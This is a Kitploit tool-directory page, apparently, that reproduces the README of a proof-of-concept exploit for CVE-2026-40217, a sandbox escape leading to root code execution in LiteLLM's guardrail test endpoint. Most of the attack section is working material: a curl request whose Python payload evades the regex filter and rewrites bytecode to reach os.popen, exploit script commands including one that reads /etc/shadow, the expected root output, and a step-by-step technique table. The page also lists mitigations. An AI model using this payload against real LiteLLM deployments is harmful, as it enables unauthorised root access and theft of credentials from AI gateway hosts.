Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-40217-PoC — El código para reproducir personalmente la vulnerabilidad correspondiente | Kitploit
Herramientas/GitHubGitHub/learner202649/cve-2026-40217-poc
Seguridad de ContenedoresAnálisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y Educación
GitHublearner202649/cve-2026-40217-poc

CVE-2026-40217-PoC

El código para reproducir personalmente la vulnerabilidad correspondiente

Ver Repositorio
4hace 3 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-40217 — Escape de la caja de arena de Guardrail de LiteLLM

LiteLLM POST /guardrails/test_custom_code — Escape de la caja de arena que conduce a Ejecución Remota de Código (RCE) como root en la implementación predeterminada de Docker.

CampoValor
CVECVE-2026-40217
CVSS8.8 (ALTA) — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWECWE-913 (Control Inadecuado de Recursos de Código Gestionados Dinámicamente) / CWE-94
AfectadoLiteLLM ≤ 2026-04-08 (pre-v1.83.11)
Corregidov1.83.11+ (reemplazó la caja de arena artesanal con RestrictedPython)
DescubridorMarkus Vervier — X41 D-Sec GmbH
Publicado2026-04-08
EnlaceAviso X41 • GHSA-wxxx-gvqv-xp7p • oss-security

Descripción

El endpoint POST /guardrails/test_custom_code en LiteLLM permite a usuarios autenticados enviar código Python arbitrario para probar guardrails. El endpoint intenta restringir operaciones peligrosas mediante filtrado de código fuente basado en regex, pero esto puede ser completamente evadido usando técnicas de reescritura de bytecode de CPython, lo que lleva a ejecución arbitraria de código en el proceso del proxy. En la imagen Docker predeterminada, el proxy se ejecuta como root, agravando el impacto.


Prueba de Concepto

Requisitos Previos

root@kitploit:~
# Install Python dependencies (required by exploit.py)
pip install -r requirements.txt

Inicio Rápido (Docker)

⚠️ Importante: El archivo docker-compose.yml fija la imagen vulnerable a un digest específico (sha256:7c311546...) del 22 de marzo de 2026. No cambies la etiqueta a main-latest o a ninguna versión más reciente — las imágenes posteriores ya pueden contener la corrección (RestrictedPython) incluso si el número de versión sugiere lo contrario (ej., v1.83.10-stable fue reconstruida después del parche y no es vulnerable).

root@kitploit:~
# 1. Install dependencies (if not already done)
pip install -r requirements.txt

# 2. Start a vulnerable LiteLLM instance
docker compose up -d

# 3. Run the exploit
python3 exploit/exploit.py --target http://localhost:4000 --key "sk-litellm-master-key"

# 4. Read sensitive files (change the --cmd argument)
python3 exploit/exploit.py --target http://localhost:4000 --key "sk-litellm-master-key" \
    --cmd "cat /etc/shadow"

# Or using curl directly
curl -s -X POST \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  http://localhost:4000/guardrails/test_custom_code \
  -d '{
    "custom_code": "def apply_guardrail(inputs, request_data, input_type):\n    obj = str.mro()[1]\n    def g(fn):\n        yield fn.placeholder\n    c = g(None).gi_code\n    gn = \"_\"+\"_gl\"+\"ob\"+\"als\"+\"_\"+\"_\"\n    cn = \"_\"+\"_co\"+\"de_\"+\"_\"\n    obj.__setattr__(g, cn, c.replace(co_names=(gn,)))\n    for v in g(http_get):\n        gd = v\n        break\n    bn = \"_\"+\"_bu\"+\"ilt\"+\"ins\"+\"_\"+\"_\"\n    imp = gd[bn][\"_\"+\"_im\"+\"po\"+\"rt_\"+\"_\"]\n    return {\"rce\": imp(\"os\").popen(\"id\").read()}",
    "test_input": {"messages": [{"role": "user", "content": "test"}]}
  }'

Resultado Esperado

root@kitploit:~
{"success":true,"result":{"rce":"uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)\n"},"error":null,"error_type":null}

Técnica de Escape de la Caja de Arena (6 Pasos)


Estructura del Repositorio

root@kitploit:~
CVE-2026-40217/
├── README.md                  # This file
├── docker-compose.yml         # One-command vulnerable environment
├── requirements.txt           # Dependencies
├── exploit/
│   ├── exploit.py             # Full exploit script
│   └── payload.py             # Bytecode payload module
├── docs/
│   └── advisory.md            # Translated advisory details
└── screenshots/               # Proof screenshots

Mitigación

  1. Actualizar a LiteLLM v1.83.11+ (usa RestrictedPython en lugar de la caja de arena artesanal)
  2. Bloquear /guardrails/test_custom_code en tu proxy inverso / puerta de enlace API
  3. Restringir la clave maestra solo a administradores de confianza
  4. Ejecutar como no root en Docker: docker run --user 1000:1000 ...
  5. No exponer la interfaz de gestión a redes no confiables

Referencias

  • X41 D-SEC Advisory x41-2026-001
  • GitHub Advisory GHSA-wxxx-gvqv-xp7p
  • GitLab Advisory
  • oss-security disclosure
  • NVD Detail

Aviso legal: Este contenido se proporciona solo para fines educativos y pruebas de seguridad autorizadas.

Descargar herramienta
PasoTécnicaCódigo
1Evasión de regex mediante concatenación de cadenas"_"+"_gl"+"ob"+"als"+"_"+"_"
2Obtener la clase object mediante str.mro()[1]obj = str.mro()[1]
3Acceder al objeto de código del generador mediante gi_codec = g(None).gi_code
4Intercambiar __code__ de la función mediante object.__setattr__obj.__setattr__(g, cn, c.replace(co_names=(gn,)))
5Extraer builtins reales de http_get.__globals__imp = gd["__builtins__"]["__import__"]
6Lograr RCE mediante os.popenimp("os").popen("id").read()